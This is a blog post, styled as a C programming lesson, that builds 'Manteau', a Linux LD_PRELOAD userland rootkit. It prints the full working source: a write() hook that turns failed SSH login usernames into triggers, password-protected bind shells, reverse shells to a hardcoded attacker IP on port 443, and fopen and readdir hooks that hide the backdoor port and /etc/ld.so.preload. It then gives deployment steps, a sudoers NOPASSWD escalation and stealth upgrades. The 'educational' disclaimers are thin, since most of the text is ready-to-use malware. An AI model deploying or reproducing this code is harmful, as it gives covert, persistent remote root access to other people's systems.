Learn C by Building a Simple Rootkit: A Practical Security Project

I. Introduction to System-Level Programming with C

Are you looking to Learn C and explore the depths of system-level programming? C is renowned for its power and flexibility, particularly when it comes to operating systems, system utilities, and security tools. While learning the fundamentals is crucial, applying your knowledge to practical projects is what truly solidifies understanding. In this post, we’ll delve into a fascinating, albeit ethically sensitive, project: building a rudimentary rootkit using C.

This isn’t about encouraging malicious activity. Instead, our aim is purely educational. By constructing a basic rootkit, we’ll unravel key C programming concepts and gain insights into how system calls, shared libraries, and process manipulation work under the hood in Linux environments. This hands-on approach is an excellent way to learn C in a cybersecurity context, demonstrating the language’s capabilities in low-level system interaction.

We’ll be adapting and explaining the concepts from a demonstration project called “Manteau,” a simple shared library rootkit designed to illustrate fundamental techniques. Keep in mind that the techniques discussed are for educational purposes only. It is crucial to understand and respect the ethical implications and legal boundaries when dealing with security-related programming.

Example showing shared library dependencies of /bin/ls, illustrating how dynamic linking works in Linux.

II. Understanding Shared Libraries and LD_PRELOAD in C

To effectively learn C for system programming, grasping the concept of shared libraries is essential. Shared, or dynamic, libraries are collections of code that can be loaded by multiple programs at runtime, reducing redundancy and promoting modularity. Think of libc, the standard C library, as a prime example. It provides fundamental functions used by countless programs.

LD_PRELOAD is a powerful environment variable in Linux that allows you to specify shared libraries to be loaded before any others when a program starts. This seemingly simple feature opens up significant possibilities, including function hooking and, as we’ll explore, creating basic rootkits.

Let’s illustrate LD_PRELOAD. Consider the /bin/ls command, a common utility to list directory contents. On a typical Linux system, it relies on several shared libraries. We can inspect these dependencies using the ldd command:

ldd /bin/ls

The output will list libraries like libc.so.6, libselinux.so.1, and others. Now, imagine we create our own shared library, example.so, and use LD_PRELOAD to load it before /bin/ls runs:

export LD_PRELOAD=$PWD/example.so
ldd /bin/ls

You’ll notice that example.so now appears at the top of the library list for /bin/ls, loaded before the standard system libraries. This is the core mechanism behind userland rootkits and a key concept to learn C for system-level manipulation.

When LD_PRELOAD is set system-wide (by not specifying a program after setting the variable), every dynamically linked program will load the preloaded library. This broad application is crucial for the rootkit techniques we’ll discuss.

System-Wide Preloading with /etc/ld.so.preload

Beyond environment variables, Linux provides a system-wide configuration file: /etc/ld.so.preload. Libraries listed in this file, separated by whitespace, are automatically preloaded for all dynamically linked programs in the order they appear in the file. This offers a persistent way to apply LD_PRELOAD effects without needing to set environment variables every time.

To see how programs check for this file, we can use strace, a system call tracing utility. Let’s run strace /bin/ls and observe the system calls:

strace /bin/ls

You’ll likely see calls like access("/etc/ld.so.preload", R_OK), indicating that /bin/ls (and other dynamically linked programs) checks for the existence and readability of /etc/ld.so.preload.

If we create an empty /etc/ld.so.preload file and rerun strace /bin/ls, we’ll see a slightly different output, now including openat(AT_FDCWD, "/etc/ld.so.preload", O_RDONLY|O_LARGEFILE|O_CLOEXEC), showing that the file was accessed and opened because it now exists.

By placing the path to our malicious shared library in /etc/ld.so.preload, we can ensure it gets loaded into memory for every dynamically linked program execution, system-wide. This is a critical step in deploying our basic rootkit and a valuable technique to learn C and system internals.

Example strace output of /bin/ls showing the check for /etc/ld.so.preload, and the absence of the file.

Example strace output after creating /etc/ld.so.preload, now showing the file being opened and read.

III. Function Hooking with Shared Library Injection in C

As we continue to learn C, we can leverage the preloading mechanism to manipulate program behavior through function hooking. Since our library is loaded first, we can intercept calls to standard functions and system calls before they reach the original implementations in libraries like libc. This allows us to redefine the behavior of these functions for any program loading our malicious library.

In essence, we create our own version of a function (like write(), fopen(), readdir()), which gets called first due to LD_PRELOAD. Inside our hooked function, we can perform our malicious actions, and then, crucially, pass control to the original, legitimate function to ensure normal system operation (or subtly deviate as needed for our rootkit).

This technique is powerful for various purposes, from debugging and profiling to, in our case, creating a basic rootkit. Previous exercises in learning C, such as hooking puts(), demonstrate the fundamental principles.

IV. Building “Manteau”: A Noob Rootkit in C

Our goal is to create a simple rootkit, “Manteau” (French for cloak), that demonstrates core rootkit functionalities:

  • Backdoor: Provide a remote command shell access.
  • Connection Hiding: Conceal malicious network connections from tools like netstat and potentially lsof.
  • File Hiding: Hide specific files from directory listings (like ls).

We’ll achieve this by hooking a small set of key system calls and functions: write(), readdir(), readdir64(), fopen(), and fopen64(). The “64” variants are for handling large files on 64-bit systems. Focusing on these core functions allows us to manipulate essential aspects of system behavior while keeping our example relatively simple for educational purposes as we learn C.

Hooking write() for a Rootkit Trigger

The write() system call is fundamental – it’s used to write data to file descriptors, including files, network sockets, and standard output. Hooking write() provides a versatile trigger mechanism for our rootkit.

Instead of complex trigger methods, we’ll use a simple yet effective approach: monitoring the data being written by the syslog daemon. syslog logs system events, including failed SSH login attempts. We can craft a specific “username” in a failed SSH attempt that, when logged by syslog via write(), will trigger our rootkit actions.

Initially, Apache access.log was considered as a trigger, but it required restarting Apache after loading the library, which is less stealthy. syslog, while also ideally restarted for full stealth, is less high-profile to restart than a web server.

To gain root privileges after triggering, we’ll also exploit a simple privilege escalation: adding the syslog user to sudoers with NOPASSWD ALL. This allows us to sudo su to root from our backdoor shell. While simplistic, it serves the educational purpose of demonstrating a full rootkit lifecycle. For real-world scenarios, more sophisticated and stealthy privilege escalation would be necessary.

The write() Hook Code Explained

Here’s the C code for our write() hook:

ssize_t write(int fildes, const void *buf, size_t nbytes) {
    ssize_t (*new_write)(int fildes, const void *buf, size_t nbytes);
    ssize_t result;
    new_write = dlsym(RTLD_NEXT, "write");

    char *bind4 = strstr(buf, KEY_4);
    char *bind6 = strstr(buf, KEY_6);
    char *rev4 = strstr(buf, KEY_R_4);
    char *rev6 = strstr(buf, KEY_R_6);

    if (bind4 != NULL) {
        fildes = open("/dev/null", O_WRONLY | O_APPEND);
        result = new_write(fildes, buf, nbytes);
        ipv4_bind();
    } else if (bind6 != NULL) {
        fildes = open("/dev/null", O_WRONLY | O_APPEND);
        result = new_write(fildes, buf, nbytes);
        ipv6_bind();
    } else if (rev4 != NULL) {
        fildes = open("/dev/null", O_WRONLY | O_APPEND);
        result = new_write(fildes, buf, nbytes);
        ipv4_rev();
    } else if (rev6 != NULL) {
        fildes = open("/dev/null", O_WRONLY | O_APPEND);
        result = new_write(fildes, buf, nbytes);
        ipv6_rev();
    } else {
        result = new_write(fildes, buf, nbytes);
    }
    return result;
}

Let’s break down this code to understand how it works and what C concepts it uses, aiding your journey to learn C:

  1. ssize_t write(int fildes, const void *buf, size_t nbytes): This is the function signature, mirroring the standard write() system call. It’s crucial to match this exactly for our hook to be recognized.
  2. ssize_t (*new_write)(int fildes, const void *buf, size_t nbytes);: We declare a function pointer new_write. This pointer will hold the address of the original write() function.
  3. new_write = dlsym(RTLD_NEXT, "write");: This is the key line for function hooking. dlsym() (dynamic symbol lookup) is used to find the address of a symbol (in this case, the “write” function) in shared libraries. RTLD_NEXT tells dlsym to search for the next occurrence of “write” in the library loading order after our current library. This effectively gives us a pointer to the real write() function from libc.
  4. char *bind4 = strstr(buf, KEY_4); ... char *rev6 = strstr(buf, KEY_R_6);: We use strstr() to search the buffer buf (the data being written) for our trigger strings: KEY_4, KEY_6, KEY_R_4, and KEY_R_6. These are pre-defined macros (e.g., #define KEY_4 "notavaliduser4") representing trigger usernames for bind and reverse shells (IPv4/IPv6).
  5. if (bind4 != NULL) { ... } else if (bind6 != NULL) { ... } ...: This if-else if block checks if any of our trigger strings were found in the buffer.
  6. fildes = open("/dev/null", O_WRONLY | O_APPEND);: If a trigger is found (e.g., bind4), we redirect the output. We open /dev/null in write-only append mode and overwrite the fildes (file descriptor) variable. Now, any subsequent write() operations using this fildes will write to /dev/null, effectively discarding the original log message.
  7. result = new_write(fildes, buf, nbytes);: We call the original write() function (pointed to by new_write) to perform the actual write operation, but now directed to /dev/null. The result of this write is stored in result.
  8. ipv4_bind();, ipv6_bind();, ipv4_rev();, ipv6_rev();: Based on the trigger keyword, we call the corresponding shell spawning function (bind or reverse shell, IPv4 or IPv6). These functions (explained below) establish the backdoor.
  9. else { result = new_write(fildes, buf, nbytes); }: If no trigger is found, we simply call the original write() function normally, ensuring standard write() behavior for non-trigger events.
  10. return result;: We return the result of the write() operation, as expected by the calling program.

This write() hook effectively acts as our rootkit’s command and control trigger. By sending a failed SSH login attempt with a specific username, we can activate different backdoor functionalities. This illustrates function hooking, conditional execution, and system call manipulation – all crucial aspects to learn C for system programming and security.

Bind Shell and Reverse Shell Backdoors in C

The write() hook triggers functions to create bind shells and reverse shells. These are standard networking backdoors. Let’s examine the ipv4_bind() bind shell function:

int ipv4_bind (void) {
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(LOC_PORT);
    addr.sin_addr.s_addr = INADDR_ANY;

    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    const static int optval = 1;
    setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));

    bind(sockfd, (struct sockaddr*) &addr, sizeof(addr));
    listen(sockfd, 0);
    int new_sockfd = accept(sockfd, NULL, NULL);

    for (int count = 0; count < 3; count++) {
        dup2(new_sockfd, count);
    }

    char input[30];
    read(new_sockfd, input, sizeof(input));
    input[strcspn(input, "n")] = 0;

    if (strcmp(input, PASS) == 0) {
        execve("/bin/sh", NULL, NULL);
        close(sockfd);
    } else {
        shutdown(new_sockfd, SHUT_RDWR);
        close(sockfd);
    }
}

Key aspects of this bind shell code, useful for anyone looking to learn C for network programming:

  • Socket Creation and Binding: Standard socket programming steps using socket(), bind(), and listen() to create a listening TCP socket on LOC_PORT (defined as 65065).
  • Accepting Connections: accept() waits for an incoming connection and creates a new socket (new_sockfd) for communication.
  • File Descriptor Duplication: dup2(new_sockfd, count) duplicates the file descriptor new_sockfd to standard input (0), standard output (1), and standard error (2). This redirects the shell’s input and output to the network connection.
  • Password Authentication: The code reads up to 30 bytes of input from the connection (read()), removes the newline character, and compares it to a hardcoded password PASS using strcmp().
  • Shell Execution: If the password matches, execve("/bin/sh", NULL, NULL) executes /bin/sh, providing a shell to the attacker.
  • Error Handling: If the password is incorrect, the connection is shut down.

The ipv6_bind(), ipv4_rev(), and ipv6_rev() functions are similar, adapting for IPv6 or creating reverse shells (connecting back to a pre-defined attacker IP and port). The reverse shell functions also include a bind() call on the victim’s side to ensure the outgoing connection originates from a specific local port (65065), which is used later for connection hiding.

Hiding from netstat and lsof

To make our rootkit more stealthy, we need to hide the backdoor connections from network monitoring tools like netstat. netstat reads network connection information from /proc/net/tcp. We can hook fopen() (and fopen64()) to intercept attempts to open this file and filter out entries related to our backdoor.

Let’s use strace to see how netstat retrieves connection information:

strace netstat -ano | grep -v unix

The output shows netstat opening /proc/net/tcp and reading from it. Examining the contents of /proc/net/tcp directly:

cat /proc/net/tcp

reveals connection details in a hexadecimal format. Our goal is to hook fopen() and, if /proc/net/tcp is being opened, read its contents, filter out lines containing our backdoor port (65065, or FE29 in hex), and return a modified file stream without those lines.

Here’s the fopen() hook code:

FILE *(*orig_fopen)(const char *pathname, const char *mode);

FILE *fopen(const char *pathname, const char *mode) {
    orig_fopen = dlsym(RTLD_NEXT, "fopen");
    char *ptr_tcp = strstr(pathname, "/proc/net/tcp");
    FILE *fp;

    if (ptr_tcp != NULL) {
        char line[256];
        FILE *temp = tmpfile();
        fp = orig_fopen(pathname, mode);

        while (fgets(line, sizeof(line), fp)) {
            char *listener = strstr(line, KEY_PORT);
            if (listener != NULL) {
                continue; // Skip lines with our port
            } else {
                fputs(line, temp); // Write other lines to temp file
            }
        }
        return temp; // Return the modified temp file
    }

    fp = orig_fopen(pathname, mode); // For other files, use original fopen
    return fp;
}

Key elements of the fopen() hook, building upon your learn C journey:

  • Function Pointer and Hook Definition: Similar structure to the write() hook, defining a function pointer orig_fopen and our hooked fopen() function.
  • Pathname Check: strstr(pathname, "/proc/net/tcp") checks if the file being opened is /proc/net/tcp.
  • Temporary File Creation: tmpfile() creates a temporary file in /tmp.
  • File Filtering: The code reads /proc/net/tcp line by line using fgets(). For each line, it checks for KEY_PORT (hexadecimal representation of 65065) using strstr(). If found, the line is skipped (continue). Otherwise, the line is written to the temporary file (fputs()).
  • Return Modified File: The function returns a file pointer to the temporary file (temp). When netstat reads from this file, it receives the filtered content without our backdoor connection.
  • Normal fopen() for Other Files: If the opened file is not /proc/net/tcp, the original fopen() is called, and its result is returned, ensuring normal file opening behavior.

This hook cleverly intercepts netstat‘s access to connection information and filters out the relevant entries, effectively hiding our backdoor from netstat and, incidentally, also from lsof (which likely uses similar mechanisms).

Hiding Files from /bin/ls

Finally, to hide our rootkit library or configuration files, we hook readdir() and readdir64(). ls uses these functions to read directory entries. By hooking them, we can filter out specific filenames from directory listings.

Using strace /bin/ls, we can see calls to getdents64(), which is related to readdir64(). The readdir() (and readdir64()) functions return a dirent structure, which contains directory entry information, including the filename (d_name).

Here’s the readdir() hook:

struct dirent *(*old_readdir)(DIR *dir);

struct dirent *readdir(DIR *dirp) {
    old_readdir = dlsym(RTLD_NEXT, "readdir");
    struct dirent *dir;
    while ((dir = old_readdir(dirp))) {
        if (strstr(dir->d_name, FILENAME) == 0) break; // Skip if filename matches FILENAME
    }
    return dir; // Return the filtered entry (or NULL if filtered out)
}

Dissecting the readdir() hook, furthering your learn C experience:

  • Function Pointer and Hook Definition: Standard hook structure with old_readdir function pointer and our hooked readdir() function.
  • Iterating and Filtering: The while ((dir = old_readdir(dirp))) loop calls the original readdir() repeatedly to get each directory entry.
  • Filename Check: strstr(dir->d_name, FILENAME) == 0 checks if the d_name (filename) in the dirent structure contains FILENAME (defined as “ld.so.preload”). If it does, break exits the loop without returning the current dir entry, effectively skipping it.
  • Return Filtered Entry: The function returns dir. If a matching filename was found and skipped, dir will retain the last non-matching entry found by old_readdir (or become NULL if all remaining entries are filtered). This effectively removes the target file from the directory listing.

This hook, along with a similar readdir64() hook, allows us to hide files by name from ls and other directory listing tools.

V. Deploying and Testing the Rootkit: A Learning Exercise

Let’s walk through the steps to deploy and test our “Manteau” rootkit in a controlled environment. Remember, this is for educational purposes only, and should be performed in a safe, isolated testing environment.

  1. Compilation: Compile the C code for your target architecture (e.g., i386 for a 32-bit Ubuntu VM). Use gcc manteau.c -fPIC -shared -D_GNU_SOURCE -o libc.man.so.6 -ldl. The -fPIC and -shared flags are essential for creating a shared library. -ldl links the libdl library, needed for dlsym(). -D_GNU_SOURCE may be required for certain features.
  2. Transfer to Victim Machine: Transfer the compiled shared library (libc.man.so.6) to the victim machine (e.g., using wget if you have a web server or scp). Place it in a location like /lib/i386-linux-gnu/ where other shared libraries reside.
  3. Set LD_PRELOAD: Add the path to your library to /etc/ld.so.preload: echo "/lib/i386-linux-gnu/libc.man.so.6" > /etc/ld.so.preload.
  4. Verify Preloading: Check if your library is preloaded using ldd /bin/ls. Your library should appear at the beginning of the list.
  5. Restart Syslog (or SSH): To ensure syslog (or SSH) loads your library, restart the service (e.g., systemctl restart ssh).
  6. Trigger Backdoor: From an attacker machine, initiate a failed SSH login to the victim using one of your trigger usernames (e.g., reverseshell4@<victim_ip>).
  7. Catch Reverse Shell (or Connect to Bind Shell): Set up a listener on your attacker machine (e.g., nc -lvp 443 for a reverse shell) or connect to the bind shell port (e.g., nc <victim_ip> 65065). Enter the password when prompted.
  8. Privilege Escalation: In the backdoor shell, use sudo su to escalate to root (assuming you’ve set up the syslog sudoers entry).
  9. Verify Hiding:
    • Run netstat -ano | grep 65065 on the victim. Your backdoor connection should not be listed.
    • Run ls -lah /etc on the victim. /etc/ld.so.preload should not be listed.

This testing process allows you to verify the functionality of your basic rootkit and see the C programming concepts in action. Remember, this is a simplified example for educational purposes. Real-world rootkits are far more complex and stealthy.

VI. Enhancements and Further Learning in C

This basic rootkit is a starting point. To further your learn C journey and explore more advanced techniques, consider these improvements:

  • Service-Specific Trigger: Instead of relying on syslog, develop a trigger within the sshd service itself. This would be more direct and potentially stealthier.
  • Encrypted Communication: Implement encrypted communication using libraries like OpenSSL to secure the backdoor channel.
  • Process-Based Hiding: Instead of port-based hiding, use a magic GID or similar mechanism to hide connections based on the process owner.
  • Dynamic Linker Patching: As a truly advanced exercise, try patching the dynamic linker itself to silently load your library from a different location than /etc/ld.so.preload, while still reporting checks against the standard path.

These enhancements would significantly increase the complexity and stealth of the rootkit, providing excellent challenges for advanced C programming and system-level security learning.

VII. Conclusion: C as a Powerful Tool for System Programming and Security

Through this project of building a simple rootkit, we’ve explored the power of C for system programming and security. We’ve seen how C’s low-level access, combined with techniques like shared library injection and function hooking, can be used to manipulate system behavior.

While this example focuses on rootkit techniques, the underlying principles are applicable to a wide range of legitimate and ethical system programming tasks: debugging, performance analysis, security auditing, and more.

By undertaking projects like this, you not only learn C in a practical context but also gain a deeper understanding of operating system internals and security principles. This knowledge is invaluable for anyone pursuing careers in cybersecurity, system administration, or software engineering.

Remember to always use your C programming skills ethically and responsibly. The power of C comes with the responsibility to use it for good.

VIII. Complete Malicious Library Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <dirent.h>
#include <fcntl.h>

//bind-shell definitions
#define KEY_4 "notavaliduser4"
#define KEY_6 "notavaliduser6"
#define PASS "areallysecurepassword1234!@#$"
#define LOC_PORT 65065

//reverse-shell definitions
#define KEY_R_4 "reverseshell4"
#define KEY_R_6 "reverseshell6"
#define REM_HOST4 "192.168.1.217"
#define REM_HOST6 "::1"
#define REM_PORT 443

//filename to hide
#define FILENAME "ld.so.preload"

//hex represenation of port to hide for /proc/net/tcp reads
#define KEY_PORT "FE29"


int ipv6_bind (void) {
    struct sockaddr_in6 addr;
    addr.sin6_family = AF_INET6;
    addr.sin6_port = htons(LOC_PORT);
    addr.sin6_addr = in6addr_any;

    int sockfd = socket(AF_INET6, SOCK_STREAM, 0);
    const static int optval = 1;
    setsockopt(sockfd, IPPROTO_IPV6, IPV6_V6ONLY, &optval, sizeof(optval));
    setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));

    bind(sockfd, (struct sockaddr*) &addr, sizeof(addr));
    listen(sockfd, 0);
    int new_sockfd = accept(sockfd, NULL, NULL);

    for (int count = 0; count < 3; count++) {
        dup2(new_sockfd, count);
    }

    char input[30];
    read(new_sockfd, input, sizeof(input));
    input[strcspn(input, "n")] = 0;

    if (strcmp(input, PASS) == 0) {
        execve("/bin/sh", NULL, NULL);
        close(sockfd);
    } else {
        shutdown(new_sockfd, SHUT_RDWR);
        close(sockfd);
    }
}

int ipv4_bind (void) {
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(LOC_PORT);
    addr.sin_addr.s_addr = INADDR_ANY;

    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    const static int optval = 1;
    setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));

    bind(sockfd, (struct sockaddr*) &addr, sizeof(addr));
    listen(sockfd, 0);
    int new_sockfd = accept(sockfd, NULL, NULL);

    for (int count = 0; count < 3; count++) {
        dup2(new_sockfd, count);
    }

    char input[30];
    read(new_sockfd, input, sizeof(input));
    input[strcspn(input, "n")] = 0;

    if (strcmp(input, PASS) == 0) {
        execve("/bin/sh", NULL, NULL);
        close(sockfd);
    } else {
        shutdown(new_sockfd, SHUT_RDWR);
        close(sockfd);
    }
}

int ipv6_rev (void) {
    const char* host = REM_HOST6;
    struct sockaddr_in6 addr;
    addr.sin6_family = AF_INET6;
    addr.sin6_port = htons(REM_PORT);
    inet_pton(AF_INET6, host, &addr.sin6_addr);

    struct sockaddr_in6 client;
    client.sin6_family = AF_INET6;
    client.sin6_port = htons(LOC_PORT);
    client.sin6_addr = in6addr_any;

    int sockfd = socket(AF_INET6, SOCK_STREAM, 0);
    bind(sockfd, (struct sockaddr*) &client, sizeof(client));
    connect(sockfd, (struct sockaddr*) &addr, sizeof(addr));

    for (int count = 0; count < 3; count++) {
        dup2(sockfd, count);
    }
    execve("/bin/sh", NULL, NULL);
    close(sockfd);
    return 0;
}

int ipv4_rev (void) {
    const char* host = REM_HOST4;
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(REM_PORT);
    inet_aton(host, &addr.sin_addr);

    struct sockaddr_in client;
    client.sin_family = AF_INET;
    client.sin_port = htons(LOC_PORT);
    client.sin_addr.s_addr = INADDR_ANY;

    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    bind(sockfd, (struct sockaddr*) &client, sizeof(client));
    connect(sockfd, (struct sockaddr*) &addr, sizeof(addr));

    for (int count = 0; count < 3; count++) {
        dup2(sockfd, count);
    }
    execve("/bin/sh", NULL, NULL);
    close(sockfd);
    return 0;
}


ssize_t write(int fildes, const void *buf, size_t nbytes) {
    ssize_t (*new_write)(int fildes, const void *buf, size_t nbytes);
    ssize_t result;
    new_write = dlsym(RTLD_NEXT, "write");

    char *bind4 = strstr(buf, KEY_4);
    char *bind6 = strstr(buf, KEY_6);
    char *rev4 = strstr(buf, KEY_R_4);
    char *rev6 = strstr(buf, KEY_R_6);

    if (bind4 != NULL) {
        fildes = open("/dev/null", O_WRONLY | O_APPEND);
        result = new_write(fildes, buf, nbytes);
        ipv4_bind();
    } else if (bind6 != NULL) {
        fildes = open("/dev/null", O_WRONLY | O_APPEND);
        result = new_write(fildes, buf, nbytes);
        ipv6_bind();
    } else if (rev4 != NULL) {
        fildes = open("/dev/null", O_WRONLY | O_APPEND);
        result = new_write(fildes, buf, nbytes);
        ipv4_rev();
    } else if (rev6 != NULL) {
        fildes = open("/dev/null", O_WRONLY | O_APPEND);
        result = new_write(fildes, buf, nbytes);
        ipv6_rev();
    } else {
        result = new_write(fildes, buf, nbytes);
    }
    return result;
}


struct dirent *(*old_readdir)(DIR *dir);

struct dirent *readdir(DIR *dirp) {
    old_readdir = dlsym(RTLD_NEXT, "readdir");
    struct dirent *dir;
    while ((dir = old_readdir(dirp))) {
        if (strstr(dir->d_name, FILENAME) == 0) break;
    }
    return dir;
}

struct dirent64 *(*old_readdir64)(DIR *dir);

struct dirent64 *readdir64(DIR *dirp) {
    old_readdir64 = dlsym(RTLD_NEXT, "readdir64");
    struct dirent64 *dir;
    while ((dir = old_readdir64(dirp))) {
        if (strstr(dir->d_name, FILENAME) == 0) break;
    }
    return dir;
}


FILE *(*orig_fopen64)(const char *pathname, const char *mode);

FILE *fopen64(const char *pathname, const char *mode) {
    orig_fopen64 = dlsym(RTLD_NEXT, "fopen64");
    char *ptr_tcp = strstr(pathname, "/proc/net/tcp");
    FILE *fp;

    if (ptr_tcp != NULL) {
        char line[256];
        FILE *temp = tmpfile64();
        fp = orig_fopen64(pathname, mode);

        while (fgets(line, sizeof(line), fp)) {
            char *listener = strstr(line, KEY_PORT);
            if (listener != NULL) {
                continue;
            } else {
                fputs(line, temp);
            }
        }
        return temp;
    }

    fp = orig_fopen64(pathname, mode);
    return fp;
}


FILE *(*orig_fopen)(const char *pathname, const char *mode);

FILE *fopen(const char *pathname, const char *mode) {
    orig_fopen = dlsym(RTLD_NEXT, "fopen");
    char *ptr_tcp = strstr(pathname, "/proc/net/tcp");
    FILE *fp;

    if (ptr_tcp != NULL) {
        char line[256];
        FILE *temp = tmpfile();
        fp = orig_fopen(pathname, mode);

        while (fgets(line, sizeof(line), fp)) {
            char *listener = strstr(line, KEY_PORT);
            if (listener != NULL) {
                continue;
            } else {
                fputs(line, temp);
            }
        }
        return temp;
    }

    fp = orig_fopen(pathname, mode);
    return fp;
}

IX. References

Original Blog Post and Code
r00tkillah’s Initrd Rootkit Talk
Jynx Rootkit
Function Hooking Part I: Hooking Shared Library Function Calls in Linux
A little tour of linux-gate.so
Linux man page for dlsym
Linux man page for readdir
Glibc dirent structure definition
Explanation of ls
Overview on Linux Userland Rootkits

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *